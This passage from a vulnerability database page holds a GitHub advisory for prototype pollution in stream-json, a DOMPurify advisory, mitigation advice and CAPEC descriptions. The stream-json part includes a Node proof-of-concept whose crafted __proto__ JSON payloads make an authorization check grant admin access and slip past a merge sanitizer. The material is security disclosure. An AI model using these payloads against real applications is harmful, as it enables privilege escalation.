sv(\u0027{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}\u0027))[0];\n\nconsole.log(\u0027== A. CORE VECTOR: __proto__ key \u2192 parsed object [[Prototype]] replaced (read-through injection) ==\u0027);\ncheck(\u0027StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])\u0027, JSON.stringify(Object.keys(sv1)) === \u0027[\"name\",\"age\"]\u0027);\ncheck(\u0027StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})\u0027, JSON.stringify(sv1) === \u0027{\"name\":\"bob\",\"age\":30}\u0027);\ncheck(\u0027StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)\u0027, !Object.prototype.hasOwnProperty.call(sv1, \u0027isAdmin\u0027));\ncheck(\u0027StreamValues: obj.isAdmin === true (INHERITED read-through)\u0027, sv1.isAdmin === true);\ncheck(\u0027StreamValues: obj.role === \"superuser\"\u0027, sv1.role === \u0027superuser\u0027);\ncheck(\u0027StreamValues: [[Prototype]] is NON-plain\u0027, Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck(\u0027StreamObject: same read-through (obj.isAdmin === true)\u0027, so1.isAdmin === true \u0026\u0026 Object.keys(so1).length === 2);\ncheck(\u0027jsonc parser (comments variant): same read-through\u0027, jc1.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(jc1)) === \u0027[\"name\",\"age\"]\u0027);\ncheck(\u0027NESTED: user.isAdmin === true, own keys [\"name\"]\u0027, nested.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(nested)) === \u0027[\"name\"]\u0027);\n\nconsole.log(\u0027== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==\u0027);\ncheck(\u0027JSON.parse: own __proto__ key visible\u0027, Object.keys(baseline).includes(\u0027__proto__\u0027));\ncheck(\u0027JSON.parse: isAdmin undefined (no read-through)\u0027, baseline.isAdmin === undefined);\ncheck(\u0027JSON.parse: [[Prototype]] stays plain\u0027, Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log(\u0027== C. VARIANT: array-valued __proto__ \u2192 parsed object becomes array-like ==\u0027);\ncheck(\u0027proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")\u0027, arrProto[0] === \u0027isAdmin\u0027 \u0026\u0026 arrProto[1] === \u0027role\u0027);\ncheck(\u0027legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)\u0027, arrProto[2] === \u0027bob\u0027 \u0026\u0026 arrProto.length === 3);\n\nconsole.log(\u0027== D. FAIL-CLOSED CONTROLS ==\u0027);\ncheck(\u0027primitive __proto__ value: no-op, plain proto (spec semantics)\u0027, Object.getPrototypeOf(prim) === Object.prototype \u0026\u0026 Object.keys(prim).length === 1);\ncheck(\u0027constructor key: harmless own prop\u0027, Object.prototype.hasOwnProperty.call(ctor, \u0027constructor\u0027) \u0026\u0026 ({}).polluted === undefined);\ncheck(\u0027NO GLOBAL Object.prototype pollution\u0027, ({}).polluted === undefined \u0026\u0026 ({}).isAdmin === undefined);\n\nconsole.log(\u0027== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==\u0027);\nconst authorize = o =\u003e o.isAdmin === true \u0026\u0026 o.role === \u0027superuser\u0027;\ncheck(\u0027authorize(stream-json obj) === true (GRANT)\u0027, authorize(sv1) === true);\ncheck(\u0027authorize(JSON.parse twin) === false (DENY \u2014 control)\u0027, authorize(baseline) === false);\nconst target = { theme: \u0027light\u0027 };\nfor (const k in sv1) target[k] = sv1[k]; // typical naive/hardened merge (for-in)\ncheck(\u0027merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)\u0027,\n Object.prototype.hasOwnProperty.call(target, \u0027isAdmin\u0027) \u0026\u0026 target.isAdmin === true);\nconst t2 = { theme: \u0027light\u0027 };\nfor (const k in baseline) t2[k] = baseline[k]; // JSON.parse twin stays clean\ncheck(\u0027merge of JSON.parse twin has NO isAdmin (control)\u0027, !Object.prototype.hasOwnProperty.call(t2, \u0027isAdmin\u0027));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json \u003c= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local \u2014 stream-json\u0027s documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object\u0027s prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---",
"id": "GHSA-mjw6-4jj6-33hc",
"modified": "2026-10-05T22:49:19Z",
"published": "2026-10-05T22:49:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104183"
},
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358"
},
{
"type": "PACKAGE",
"url": "https://github.com/uhop/stream-json"
},
{
"type": "WEB",
"url": "https://github.com/uhop/stream-json/releases/tag/3.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects"
}
GHSA-MMHX-HMJR-R674
Vulnerability from github – Published: 2024-09-16 20:34 – Updated: 2024-09-16 22:37It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.
This renders dompurify unable to avoid XSS attack.
Fixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45801"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-16T20:34:26Z",
"nvd_published_at": "2024-09-16T19:16:11Z",
"severity": "HIGH"
},
"details": "It has been discovered that malicious HTML using special nesting techniques can bypass the depth checking added to DOMPurify in recent releases. It was also possible to use Prototype Pollution to weaken the depth check.\n\nThis renders dompurify unable to avoid XSS attack.\n\nFixed by https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21 (3.x branch) and https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc (2.x branch).",
"id": "GHSA-mmhx-hmjr-r674",
"modified": "2024-09-16T22:37:33Z",
"published": "2024-09-16T20:34:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45801"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/1e520262bf4c66b5efda49e2316d6d1246ca7b21"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/26e1d69ca7f769f5c558619d644d90dd8bf26ebc"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify allows tampering by prototype pollution"
}
Mitigation
By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
Mitigation
By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
Mitigation
Strategy: Input Validation
When handling untrusted objects, validating using a schema can be used.
Mitigation
By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
Mitigation
Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.